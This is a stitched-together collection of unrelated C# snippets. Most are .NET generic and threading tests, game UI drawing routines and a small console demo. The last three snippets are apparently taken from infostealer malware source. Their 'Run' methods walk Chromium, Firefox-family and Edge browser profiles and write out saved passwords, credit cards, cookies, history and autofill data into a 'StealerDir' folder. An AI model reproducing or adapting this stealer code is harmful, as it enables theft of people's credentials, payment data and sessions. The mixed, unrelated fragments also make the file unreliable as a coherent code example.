public static void DelegateTest <U>() { IGen <string> obj = new GenString(); ThreadStart d = new ThreadStart(obj.Target <U>); d(); Test.Eval(Test.Xcounter == 1); Test.Xcounter = 0; }
private void DrawSkill(SkillContainer filter, Rect rect) { int level = filter.MinValue; float barSize = (level > 0 ? (float)level : 0) / 20f; FillableBar(rect, barSize, Textures.TextureSkillBarFill); //int baseLevel = customPawn.GetSkillModifier(skill.def); //float baseBarSize = (baseLevel > 0 ? (float)baseLevel : 0) / 20f; FillableBar(rect, 0, Textures.TextureSkillBarFill); GUI.color = new Color(0.25f, 0.25f, 0.25f); Widgets.DrawBox(rect, 1); GUI.color = Style.ColorText; if (Widgets.ButtonInvisible(rect, false)) { Vector2 pos = Event.current.mousePosition; float x = pos.x - rect.x; int value = 0; if (Mathf.Floor(x / rect.width * 20f) == 0) { if (x <= 1) { value = 0; } else { value = 1; } } else { value = Mathf.CeilToInt(x / rect.width * 20f); } SoundDefOf.Tick_Tiny.PlayOneShotOnCamera(); filter.MinValue = value; //SetSkillLevel(customPawn, skill, value); } string label; label = GenString.ToStringCached(level); Text.Anchor = TextAnchor.MiddleLeft; rect.x = rect.x + 3; rect.y = rect.y + 1; Widgets.Label(rect, label); GUI.color = Color.white; Text.Anchor = TextAnchor.UpperLeft; }
public static int Main() { Outer.IGen <int> IGenInt = new GenInt(); IGenInt._Init(new int()); Eval(IGenInt.InstVerify(typeof(int))); Outer.IGen <double> IGenDouble = new GenDouble(); IGenDouble._Init(new double()); Eval(IGenDouble.InstVerify(typeof(double))); Outer.IGen <string> IGenString = new GenString(); IGenString._Init("string"); Eval(IGenString.InstVerify(typeof(string))); Outer.IGen <object> IGenObject = new GenObject(); IGenObject._Init(new object()); Eval(IGenObject.InstVerify(typeof(object))); Outer.IGen <Guid> IGenGuid = new GenGuid(); IGenGuid._Init(new Guid()); Eval(IGenGuid.InstVerify(typeof(Guid))); Outer.IGen <RefX1 <int> > IGenConstructedReference = new GenConstructedReference(); IGenConstructedReference._Init(new RefX1 <int>()); Eval(IGenConstructedReference.InstVerify(typeof(RefX1 <int>))); Outer.IGen <ValX1 <string> > IGenConstructedValue = new GenConstructedValue(); IGenConstructedValue._Init(new ValX1 <string>()); Eval(IGenConstructedValue.InstVerify(typeof(ValX1 <string>))); Outer.IGen <int[]> IGen1DIntArray = new Gen1DIntArray(); IGen1DIntArray._Init(new int[1]); Eval(IGen1DIntArray.InstVerify(typeof(int[]))); Outer.IGen <string[, ]> IGen2DStringArray = new Gen2DStringArray(); IGen2DStringArray._Init(new string[1, 1]); Eval(IGen2DStringArray.InstVerify(typeof(string[, ]))); Outer.IGen <object[][]> IGenJaggedObjectArray = new GenJaggedObjectArray(); IGenJaggedObjectArray._Init(new object[1][]); Eval(IGenJaggedObjectArray.InstVerify(typeof(object[][]))); if (result) { Console.WriteLine("Test Passed"); return(100); } else { Console.WriteLine("Test Failed"); return(1); } }
public static void ThreadPoolTest() { ManualResetEvent evt = new ManualResetEvent(false); IGen <string> obj = new GenString(); TimerCallback tcb = new TimerCallback(obj.Target); Timer timer = new Timer(tcb, evt, Test_thread15.delay, Test_thread15.period); evt.WaitOne(); timer.Dispose(); Test_thread15.Eval(Test_thread15.Xcounter >= Test_thread15.nThreads); Test_thread15.Xcounter = 0; }
protected static void DrawGUIOverlay([NotNull] ThingStatus status, Vector3 drawPos) { if (Find.CameraMap.CurrentZoom != CameraZoomRange.Closest) { return; } drawPos.z -= 0.4f; var screenPos = Find.CameraMap.camera.WorldToScreenPoint(drawPos); screenPos.y = Screen.height - screenPos.y; GenWorldUI.DrawThingLabel(new Vector2(screenPos.x, screenPos.y), GenString.ToStringCached(status.Thing.stackCount), new Color(1f, 1f, 1f, 0.75f)); }
public static int Main() { GenInt.ThreadPoolTest <int>(); GenDouble.ThreadPoolTest <int>(); GenString.ThreadPoolTest <int>(); GenObject.ThreadPoolTest <int>(); GenGuid.ThreadPoolTest <int>(); GenInt.ThreadPoolTest <double>(); GenDouble.ThreadPoolTest <double>(); GenString.ThreadPoolTest <double>(); GenObject.ThreadPoolTest <double>(); GenGuid.ThreadPoolTest <double>(); GenInt.ThreadPoolTest <string>(); GenDouble.ThreadPoolTest <string>(); GenString.ThreadPoolTest <string>(); GenObject.ThreadPoolTest <string>(); GenGuid.ThreadPoolTest <string>(); GenInt.ThreadPoolTest <object>(); GenDouble.ThreadPoolTest <object>(); GenString.ThreadPoolTest <object>(); GenObject.ThreadPoolTest <object>(); GenGuid.ThreadPoolTest <object>(); GenInt.ThreadPoolTest <Guid>(); GenDouble.ThreadPoolTest <Guid>(); GenString.ThreadPoolTest <Guid>(); GenObject.ThreadPoolTest <Guid>(); GenGuid.ThreadPoolTest <Guid>(); if (result) { Console.WriteLine("Test Passed"); return(100); } else { Console.WriteLine("Test Failed"); return(1); } }
public static void ThreadPoolTest <U>() { Thread[] threads = new Thread[Test.nThreads]; IGen <string> obj = new GenString(); for (int i = 0; i < Test.nThreads; i++) { threads[i] = new Thread(new ThreadStart(obj.Target <U>)); threads[i].Start(); } for (int i = 0; i < Test.nThreads; i++) { threads[i].Join(); } Test.Eval(Test.Xcounter == Test.nThreads); Test.Xcounter = 0; }
public static int Main() { GenInt.DelegateTest(); GenDouble.DelegateTest(); GenString.DelegateTest(); GenObject.DelegateTest(); GenGuid.DelegateTest(); if (result) { Console.WriteLine("Test Passed"); return(100); } else { Console.WriteLine("Test Failed"); return(1); } }
public bool ToGenString(object src, bool invalid, Type t) { try { GenString dst = (GenString)src; if (invalid) { return(false); } return(dst.MyVirtType().Equals(t)); } catch (InvalidCastException) { return(invalid); } catch { return(false); } }
static void Main(string[] args) { GenInt g = new GenInt(); Console.WriteLine("Enter the 2 numbers"); int a = Convert.ToInt16(Console.ReadLine()); int b = Convert.ToInt16(Console.ReadLine()); Console.WriteLine("Addition of 2 numbers is {0}", g.Add(a, b)); GenString gg = new GenString(); Console.WriteLine("Enter the 2 Strings"); string s1 = Console.ReadLine(); string s2 = Console.ReadLine(); Console.WriteLine("The string is " + gg.Add(s1, s2)); Console.ReadLine(); }
public static void ThreadPoolTest() { ManualResetEvent[] evts = new ManualResetEvent[Test_thread13.nThreads]; WaitHandle[] hdls = new WaitHandle[Test_thread13.nThreads]; for (int i = 0; i < Test_thread13.nThreads; i++) { evts[i] = new ManualResetEvent(false); hdls[i] = (WaitHandle)evts[i]; } IGen <string> obj = new GenString(); for (int i = 0; i < Test_thread13.nThreads; i++) { WaitCallback cb = new WaitCallback(obj.Target); ThreadPool.QueueUserWorkItem(cb, evts[i]); } WaitHandle.WaitAll(hdls); Test_thread13.Eval(Test_thread13.Xcounter == Test_thread13.nThreads); Test_thread13.Xcounter = 0; }
public static int Main() { GenInt IGenInt = new GenInt(); Eval(((IGenX<int[]>)IGenInt).m(null).Equals("IGenX.m")); Eval(((IGenY<int>)IGenInt).m(null).Equals("IGenY.m")); GenString IGenString = new GenString(); Eval(((IGenX<string[]>)IGenString).m(null).Equals("IGenX.m")); Eval(((IGenY<string>)IGenString).m(null).Equals("IGenY.m")); if (result) { Console.WriteLine("Test Passed"); return 100; } else { Console.WriteLine("Test Failed"); return 1; } }
private void DrawPawnRow(Pawn pawn, float rowY, Rect fillRect) { Rect position = new Rect(0f, rowY, fillRect.width, 30f); if (position.Contains(Event.current.mousePosition)) { GUI.DrawTexture(position, TexUI.HighlightTex); } Rect rect = new Rect(0f, rowY, 175f, 30f); Rect innerRect = rect.GetInnerRect(3f); if (pawn.healthTracker.Health < pawn.healthTracker.MaxHealth - 1) { Rect screenRect = new Rect(rect); screenRect.xMin -= 4f; screenRect.yMin += 4f; screenRect.yMax -= 6f; Widgets.FillableBar(screenRect, (float)pawn.healthTracker.Health / (float)pawn.healthTracker.MaxHealth, PawnUIOverlay.HealthTex, false, BaseContent.ClearTex); } if (rect.Contains(Event.current.mousePosition)) { GUI.DrawTexture(innerRect, TexUI.HighlightTex); } Text.Font = GameFont.Small; Text.Alignment = TextAnchor.MiddleLeft; Rect rect2 = new Rect(rect); rect2.xMin += 15f; Widgets.Label(rect2, pawn.Label); if (Widgets.InvisibleButton(rect)) { Find.LayerStack.FirstLayerOfType <Dialog_Overview>().Close(); Find.CameraMap.JumpTo(pawn.Position); return; } TipSignal tooltip = pawn.GetTooltip(); tooltip.text = "ClickToJumpTo".Translate() + "\n\n" + tooltip.text; TooltipHandler.TipRegion(rect, tooltip); SkillRecord skill = pawn.skills.GetSkill(SkillDefOf.Shooting); float skillBarLeftMargin = 175f; Rect passionIconPosition = new Rect(skillBarLeftMargin, rowY + 2.5f, 24f, 24f); if (skill.passion > Passion.None) { Texture2D image = (skill.passion != Passion.Major) ? PassionMinorIcon : PassionMajorIcon; GUI.DrawTexture(passionIconPosition, image); } skillBarLeftMargin += 24f; Vector2 topLeft = new Vector2(skillBarLeftMargin, rowY + 2.5f); if (!skill.TotallyDisabled) { Widgets.FillableBar(new Rect(topLeft.x, topLeft.y, 240f, 24f), (float)skill.level / 20f, SkillBarFillTex, false, null); } string label; if (skill.TotallyDisabled) { GUI.color = DisabledSkillColor; label = "-"; } else { label = GenString.NumberString(skill.level); } Text.Alignment = TextAnchor.MiddleLeft; Widgets.Label(new Rect(topLeft.x + 4f, topLeft.y, 240f, 24f), label); if (pawn.Downed) { GUI.color = Color.red; Widgets.DrawLineHorizontal(new Vector2(175f, rowY + 15f), skillBarLeftMargin - 175f - 17f); } GUI.color = Color.white; // Draw equipment if (pawn.equipment != null) { Equipment weapon = pawn.equipment.AllEquipment.FirstOrDefault(); if (weapon != null) { // Draw weapon Rect weaponRect = new Rect(topLeft.x + 240f + 4f, topLeft.y, 30f, 24f); Widgets.ThingIcon(weaponRect, weapon); Widgets.Label(new Rect(weaponRect.max.x + 4f, topLeft.y, 100f, 24f), new GUIContent(weapon.LabelCap)); } } // Draw hit chance factor float f = 1f; float statValue = pawn.GetStatValue(StatDefOf.HitChanceFactor, true); float statValue2 = pawn.GetStatValue(StatDefOf.ShootingAccuracy, true); if (statValue < 0f) { f = statValue2 + statValue * statValue2; } else { f = statValue2 + statValue * (1f - statValue2); } Rect hitChanceRect = new Rect(topLeft.x + 240f + 4f + 30f + 100f, topLeft.y, 50f, 24f); Widgets.Label(hitChanceRect, GenText.AsPercent(f)); // Draw sight efficiency Widgets.Label(new Rect(hitChanceRect.max.x + 4f, hitChanceRect.y, 50f, 24f), GenText.AsPercent(pawn.healthTracker.GetEfficiency(PawnActivityDefOf.Sight))); }
public static int Main() { int ret = 100; IGen <int> Gen_Int = new GenInt(); Gen_Int.Property = 10; if (Gen_Int.Property != 10) { Console.WriteLine("Failed Property Access for IGen<int>"); ret = 1; } for (int i = 0; (i < 10); i++) { Gen_Int[i] = 15; if (Gen_Int[i] != 15) { Console.WriteLine("Failed Indexer Access for IGen<int>"); ret = 1; } } if (Gen_Int.Method(20) != 20) { Console.WriteLine("Failed Method Access for IGen<int>"); ret = 1; } if (Gen_Int.VMethod(25) != 25) { Console.WriteLine("Failed Virtual Method Access for IGen<int>"); ret = 1; } IGen <String> Gen_String = new GenString(); Gen_String.Property = "Property"; if (Gen_String.Property != "Property") { Console.WriteLine("Failed Property Access for IGen<String>"); ret = 1; } for (int i = 0; (i < 10); i++) { Gen_String[i] = "ArrayString"; if (Gen_String[i] != "ArrayString") { Console.WriteLine("Failed Indexer Access for IGen<String>"); ret = 1; } } if (Gen_String.Method("Method") != "Method") { Console.WriteLine("Failed Method Access for IGen<String>"); ret = 1; } if (Gen_String.VMethod("VirtualMethod") != "VirtualMethod") { Console.WriteLine("Failed Virtual Method Access for IGen<String>"); ret = 1; } return(ret); }
public static void Run(string sSavePath) { if (!Directory.Exists(sSavePath)) { Directory.CreateDirectory(sSavePath); } foreach (string sPath in Paths.sChromiumPswPaths) { string sFullPath; if (sPath.Contains("Opera Software")) { sFullPath = Paths.appdata + sPath; } else { sFullPath = Paths.lappdata + sPath; } if (Directory.Exists(sFullPath)) { foreach (string sProfile in Directory.GetDirectories(sFullPath)) { // Write chromium passwords, credit cards, cookies string sBDir = sSavePath + "\\" + Crypto.BrowserPathToAppName(sPath); Directory.CreateDirectory(sBDir); // Run tasks List <CreditCard> pCreditCards = CreditCards.Get(sProfile + "\\Web Data"); List <Password> pPasswords = Passwords.Get(sProfile + "\\Login Data"); List <Cookie> pCookies = Cookies.Get(sProfile + "\\Cookies"); List <Site> pHistory = History.Get(sProfile + "\\History"); List <Site> pDownloads = Downloads.Get(sProfile + "\\History"); List <AutoFill> pAutoFill = Autofill.Get(sProfile + "\\Web Data"); List <Bookmark> pBookmarks = Bookmarks.Get(sProfile + "\\Bookmarks"); // Await values and write cBrowserUtils.WriteCreditCards(pCreditCards, sBDir + "\\CreditCards.txt"); cBrowserUtils.WritePasswords(pPasswords, Help.StealerDir + "\\Passwords.txt"); cBrowserUtils.WriteCookies(pCookies, sSavePath + $"\\Cookies_{Crypto.BrowserPathToAppName(sPath)}({GenString.GeneNumbersTo()}).txt"); cBrowserUtils.WriteHistory(pHistory, sBDir + "\\History.txt"); cBrowserUtils.WriteHistory(pDownloads, sBDir + "\\Downloads.txt"); cBrowserUtils.WriteAutoFill(pAutoFill, sBDir + "\\AutoFill.txt"); cBrowserUtils.WriteBookmarks(pBookmarks, sBDir + "\\Bookmarks.txt"); } } } }
public static void Run(string sSavePath) { foreach (string path in Paths.sGeckoBrowserPaths) { try { string name = new DirectoryInfo(path).Name; string bSavePath = sSavePath + "\\" + name; string browser = Paths.appdata + "\\" + path; if (Directory.Exists(browser + "\\Profiles")) { Directory.CreateDirectory(bSavePath); List <Bookmark> bookmarks = Bookmarks.Bookmarks.Get(browser); // Read all Firefox bookmarks List <Cookie> cookies = Cookies.Cookies.Get(browser); // Read all Firefox cookies List <Site> history = History.History.Get(browser); // Read all Firefox history List <Password> passwords = Passwords.Passwords.Get(browser); // Read all Firefox passwords cBrowserUtils.WriteBookmarks(bookmarks, bSavePath + "\\Bookmarks.txt"); cBrowserUtils.WriteCookies(cookies, sSavePath + $"\\Cookies_{name}({GenString.GeneNumbersTo()}).txt"); cBrowserUtils.WriteHistory(history, bSavePath + "\\History.txt"); cBrowserUtils.WritePasswords(passwords, Help.StealerDir + "\\Passwords.txt"); } } catch { } } }
public static int Main() { int ret = 100; GenInt GenIntStruct = new GenInt(); GenIntStruct.TArray = new int[10]; IGen <int> IGenInt = GenIntStruct; IGenInt.Property = 10; if (IGenInt.Property != 10) { Console.WriteLine("Failed Property Access for IGen<int>"); ret = 1; } for (int i = 0; (i < 10); i++) { IGenInt[i] = 15; if (IGenInt[i] != 15) { Console.WriteLine("Failed Indexer Access for IGen<int>"); ret = 1; } } if (IGenInt.Method(20) != 20) { Console.WriteLine("Failed Method Access for IGen<int>"); ret = 1; } GenString GenStringStruct = new GenString(); GenStringStruct.TArray = new string[10]; IGen <string> IGenString = GenStringStruct; IGenString.Property = "Property"; if (IGenString.Property != "Property") { Console.WriteLine("Failed Property Access for IGen<String>"); ret = 1; } for (int i = 0; (i < 10); i++) { IGenString[i] = "ArrayString"; if (IGenString[i] != "ArrayString") { Console.WriteLine("Failed Indexer Access for IGen<String>"); ret = 1; } } if (IGenString.Method("Method") != "Method") { Console.WriteLine("Failed Method Access for IGen<String>"); ret = 1; } return(ret); }
public static void Run(string sSavePath) { string sFullPath = Paths.lappdata + Paths.EdgePath; if (!Directory.Exists(sFullPath)) { return; } string sBDir = sSavePath + "\\Edge"; Directory.CreateDirectory(sBDir); foreach (string sProfile in Directory.GetDirectories(sFullPath)) { if (File.Exists(sProfile + "\\Login Data")) { // Run tasks List <CreditCard> pCreditCards = Edge.CreditCards.Get(sProfile + "\\Web Data"); List <AutoFill> pAutoFill = Edge.Autofill.Get(sProfile + "\\Web Data"); List <Bookmark> pBookmarks = Edge.Bookmarks.Get(sProfile + "\\Bookmarks"); List <Password> pPasswords = Chromium.Passwords.Get(sProfile + "\\Login Data"); List <Cookie> pCookies = Chromium.Cookies.Get(sProfile + "\\Cookies"); List <Site> pHistory = Chromium.History.Get(sProfile + "\\History"); // Await values and write cBrowserUtils.WriteCreditCards(pCreditCards, sBDir + "\\CreditCards.txt"); cBrowserUtils.WriteAutoFill(pAutoFill, sBDir + "\\AutoFill.txt"); cBrowserUtils.WriteBookmarks(pBookmarks, sBDir + "\\Bookmarks.txt"); cBrowserUtils.WritePasswords(pPasswords, Help.StealerDir + "\\Passwords.txt"); cBrowserUtils.WriteCookies(pCookies, sSavePath + $"\\Cookies_Edge({GenString.GeneNumbersTo()}).txt"); cBrowserUtils.WriteHistory(pHistory, sBDir + "\\History.txt"); } } }